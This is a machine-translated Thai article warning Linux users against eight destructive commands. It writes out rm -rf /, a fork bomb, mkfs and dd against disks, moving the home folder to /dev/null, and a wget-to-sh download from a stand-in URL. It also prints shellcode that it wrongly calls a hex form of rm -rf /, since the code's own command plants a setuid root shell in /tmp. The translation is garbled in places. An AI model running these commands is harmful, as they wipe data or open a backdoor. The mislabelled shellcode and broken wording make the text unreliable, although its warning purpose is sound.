8 คำสั่งร้ายแรงที่คุณไม่ควรรันบน Linux
คำสั่งเทอร์มินัลของ Linux นั้นมีประสิทธิภาพและ Linux จะไม่ขอให้คุณยืนยันหากคุณเรียกใช้คำสั่งที่จะทำให้ระบบของคุณพัง ไม่ใช่เรื่องแปลกที่จะเห็นการหมุนรอบออนไลน์แนะนำผู้ใช้ Linux รายใหม่ที่รันคำสั่งเหล่านี้เป็นเรื่องตลก.
การเรียนรู้คำสั่งที่คุณไม่ควรเรียกใช้สามารถช่วยปกป้องคุณจากการหมุนรอบในขณะที่เพิ่มความเข้าใจในการทำงานของ Linux นี่ไม่ใช่คู่มือที่ครบถ้วนและคำสั่งต่าง ๆ ที่นี่สามารถทำการรีมิกซ์ได้หลายวิธี.
โปรดทราบว่าคำสั่งเหล่านี้จำนวนมากจะเป็นอันตรายหากถูกนำหน้าด้วย sudo บน Ubuntu - พวกเขาจะไม่ทำงานอย่างอื่น บน Linux ดิสทริบิวชันอื่น ๆ คำสั่งส่วนใหญ่ต้องรันเป็นรูท.
เครดิตรูปภาพ: Skull and Crossbones รีมิกซ์จาก Jason Ford บน Twitter
rm -rf / - ลบทุกอย่าง!
คำสั่ง rm -rf / ลบทุกอย่างที่ทำได้รวมถึงไฟล์ในฮาร์ดไดรฟ์และไฟล์ในอุปกรณ์สื่อแบบถอดได้ที่เชื่อมต่ออยู่ คำสั่งนี้เข้าใจได้ง่ายกว่าถ้ามันพัง:
RM - ลบไฟล์ต่อไปนี้.
-RF - เรียกใช้ rm ซ้ำ (ลบไฟล์และโฟลเดอร์ทั้งหมดภายในโฟลเดอร์ที่ระบุ) และบังคับลบไฟล์ทั้งหมดโดยไม่แจ้งให้คุณทราบ.
/ - บอกให้ rm เริ่มต้นที่ไดเรกทอรีรากซึ่งมีไฟล์ทั้งหมดในคอมพิวเตอร์ของคุณและอุปกรณ์สื่อที่ติดตั้งทั้งหมดรวมถึงการแชร์ไฟล์ระยะไกลและไดรฟ์ที่ถอดออกได้.
Linux จะปฏิบัติตามคำสั่งนี้อย่างมีความสุขและลบทุกอย่างโดยไม่แจ้งให้คุณระวังเมื่อใช้งาน! คำสั่ง rm ยังสามารถใช้ในวิธีที่อันตรายอื่น ๆ - rm -rf ~ จะลบไฟล์ทั้งหมดในโฟลเดอร์บ้านของคุณในขณะที่ rm -rf. * จะลบไฟล์กำหนดค่าทั้งหมดของคุณ.
บทเรียน: ระวัง rm -rf.
rm ปลอมตัว -rf /
นี่เป็นอีกตัวอย่างของรหัสที่มีอยู่ทั่วทั้งเว็บ:
char esp [] __attribute__ ((ส่วน (“. text”))) / * e.s.p
ปล่อย * /
=“ \ xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68 "
“\ xff \ xff \ xff \ xff \ X68 \ XDF \ xd0 \ XDF \ xd9 \ X68 \ x8d \ X99”
“\ XDF \ x81 \ X68 \ x8d \ X92 \ XDF \ xd2 \ x54 \ x5e \ XF7 \ x16 \ XF7”
“\ x56 \ x04 \ XF7 \ x56 \ x08 \ XF7 \ x56 \ x0c \ X83 \ xc4 \ x74 \ x56”
“\ x8d \ X73 \ x08 \ x56 \ X53 \ x54 \ x59 \ xb0 \ x0b \ XCD \ X80 \ x31”
“\ xc0 \ x40 \ XEB \ xf9 \ xe8 \ XBD \ xff \ xff \ xff \ x2f \ x62 \ x69”
“\ X6E \ x2f \ X73 \ X68 \ x00 \ x2d \ x63 \ x00”
“ cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
นี่เป็นรุ่นฐานสิบของ rm -rf / - การดำเนินการคำสั่งนี้จะลบไฟล์ของคุณราวกับว่าคุณได้รัน rm -rf /.
บทเรียน: อย่าเรียกใช้คำสั่งที่แปลกประหลาดและชัดแจ้งซึ่งคุณไม่เข้าใจ.
: () : |: & ;: - Fork Bomb
บรรทัดต่อไปนี้เป็นฟังก์ชั่นทุบตีที่ดูเรียบง่าย แต่อันตราย:
: () : |: & ;:
บรรทัดสั้น ๆ นี้นิยามฟังก์ชันเชลล์ที่สร้างสำเนาใหม่ของตัวเอง กระบวนการทำซ้ำตัวเองอย่างต่อเนื่องและสำเนาทำซ้ำอย่างต่อเนื่องโดยสละเวลา CPU และหน่วยความจำทั้งหมดอย่างรวดเร็ว นี่อาจทำให้คอมพิวเตอร์ของคุณค้าง เป็นการโจมตีแบบปฏิเสธการให้บริการ.
บทเรียน: ฟังก์ชั่น Bash นั้นทรงพลังแม้สั้นมาก.
เครดิตรูปภาพ: Dake ใน Wikimedia Commons
mkfs.ext4 / dev / sda1 - ฟอร์แมตฮาร์ดไดรฟ์
mkfs.ext4 / dev / sda1 คำสั่งนั้นง่ายต่อการเข้าใจ:
mkfs.ext4 - สร้างระบบไฟล์ ext4 ใหม่บนอุปกรณ์ต่อไปนี้.
/ dev / sda1 - ระบุพาร์ติชันแรกบนฮาร์ดไดรฟ์ตัวแรกซึ่งอาจใช้งานอยู่.
เมื่อนำมารวมกันคำสั่งนี้สามารถเทียบเท่ากับรูปแบบการรัน c: บน Windows - มันจะล้างไฟล์ในพาร์ติชั่นแรกของคุณและแทนที่ด้วยระบบไฟล์ใหม่.
คำสั่งนี้สามารถมาในรูปแบบอื่นเช่นกัน - mkfs.ext3 / dev / sdb2 จะฟอร์แมตพาร์ติชันที่สองบนฮาร์ดไดรฟ์ที่สองด้วยระบบไฟล์ ext3.
บทเรียน: ระวังการรันคำสั่งโดยตรงบนอุปกรณ์ฮาร์ดดิสก์ที่ขึ้นต้นด้วย / dev / sd.
คำสั่ง> / dev / sda - เขียนไปยังฮาร์ดไดรฟ์โดยตรง
คำสั่ง> / dev / sda line ทำงานคล้ายกัน - รันคำสั่งและส่งเอาต์พุตของคำสั่งนั้นไปยังฮาร์ดไดรฟ์ตัวแรกโดยตรงเขียนข้อมูลโดยตรงไปยังฮาร์ดดิสก์และสร้างความเสียหายให้กับระบบไฟล์ของคุณ.
คำสั่ง - เรียกใช้คำสั่ง (สามารถเป็นคำสั่งใดก็ได้)
> - ส่งเอาต์พุตของคำสั่งไปยังตำแหน่งต่อไปนี้.
/ dev / SDA - เขียนเอาต์พุตของคำสั่งโดยตรงไปยังอุปกรณ์ฮาร์ดดิสก์.
บทเรียน: ดังกล่าวข้างต้นระวังการใช้คำสั่งที่เกี่ยวข้องกับอุปกรณ์ฮาร์ดดิสก์เริ่มต้นด้วย / dev / sd.
dd if = / dev / random of = / dev / sda - เขียนขยะลงบนฮาร์ดไดรฟ์
dd if = / dev / random ของ = / dev / sda บรรทัดจะลบข้อมูลในฮาร์ดไดรฟ์ตัวใดตัวหนึ่งของคุณ.
DD - ทำการคัดลอกระดับต่ำจากที่หนึ่งไปอีกที่หนึ่ง.
ถ้า = / dev / สุ่ม - ใช้ / dev / random (ข้อมูลสุ่ม) เป็นอินพุต - คุณอาจเห็นตำแหน่งเช่น / dev / ศูนย์ (ศูนย์).
ของ = / dev / SDA - ส่งออกไปยังฮาร์ดดิสก์ตัวแรกแทนที่ระบบไฟล์ด้วยข้อมูลขยะแบบสุ่ม.
บทเรียน: dd คัดลอกข้อมูลจากที่หนึ่งไปอีกที่หนึ่งซึ่งอาจเป็นอันตรายได้หากคุณกำลังคัดลอกไปยังอุปกรณ์โดยตรง.
เครดิตรูปภาพ: Matt Rudge บน Flickr
mv ~ / dev / null - ย้ายโฮมไดเร็กตอรี่ของคุณไปที่หลุมดำ
/ dev / null เป็นตำแหน่งพิเศษอีกอย่าง - การย้ายบางสิ่งไปยัง / dev / null นั้นเหมือนกับการทำลาย คิดว่า / dev / null เป็นหลุมดำ เป็นหลัก, mv ~ / dev / null ส่งไฟล์ส่วนบุคคลทั้งหมดของคุณลงในหลุมดำ.
mv - ย้ายไฟล์หรือไดเรกทอรีต่อไปนี้ไปยังตำแหน่งอื่น.
~ - แสดงถึงโฟลเดอร์บ้านทั้งหมดของคุณ.
/ dev / null - ย้ายโฟลเดอร์หลักของคุณไปที่ / dev / null ทำลายไฟล์ทั้งหมดของคุณและลบสำเนาต้นฉบับ.
บทเรียน: อักขระ ~ หมายถึงโฟลเดอร์บ้านของคุณและย้ายสิ่งต่าง ๆ ไปยัง / dev / null ทำลายพวกเขา.
wget http://example.com/something -O - | sh - ดาวน์โหลดและรันสคริปต์
บรรทัดด้านบนดาวน์โหลดสคริปต์จากเว็บและส่งไปยัง sh ซึ่งดำเนินการเนื้อหาของสคริปต์ สิ่งนี้อาจเป็นอันตรายหากคุณไม่แน่ใจว่าสคริปต์คืออะไรหรือหากคุณไม่เชื่อถือแหล่งที่มาของสคริปต์ - อย่าเรียกใช้สคริปต์ที่ไม่น่าเชื่อถือ.
wget - ดาวน์โหลดไฟล์ (คุณอาจเห็นว่าขดแทน wget)
http://example.com/something - ดาวน์โหลดไฟล์จากตำแหน่งนี้.
| - ไพพ์ (ส่ง) เอาต์พุตของคำสั่ง wget (ไฟล์ที่คุณดาวน์โหลด) ไปยังคำสั่งอื่นโดยตรง.
ดวลจุดโทษ - ส่งไฟล์ไปที่คำสั่ง sh ซึ่งจะเรียกใช้งานหากเป็น bash script.
บทเรียน: อย่าดาวน์โหลดและเรียกใช้สคริปต์ที่ไม่น่าเชื่อถือจากเว็บแม้ว่าจะมีคำสั่งก็ตาม.
รู้คำสั่งที่เป็นอันตรายอื่น ๆ ที่ผู้ใช้ Linux คนใหม่ (และมีประสบการณ์) ไม่ควรรันหรือไม่ แสดงความคิดเห็นและแบ่งปัน!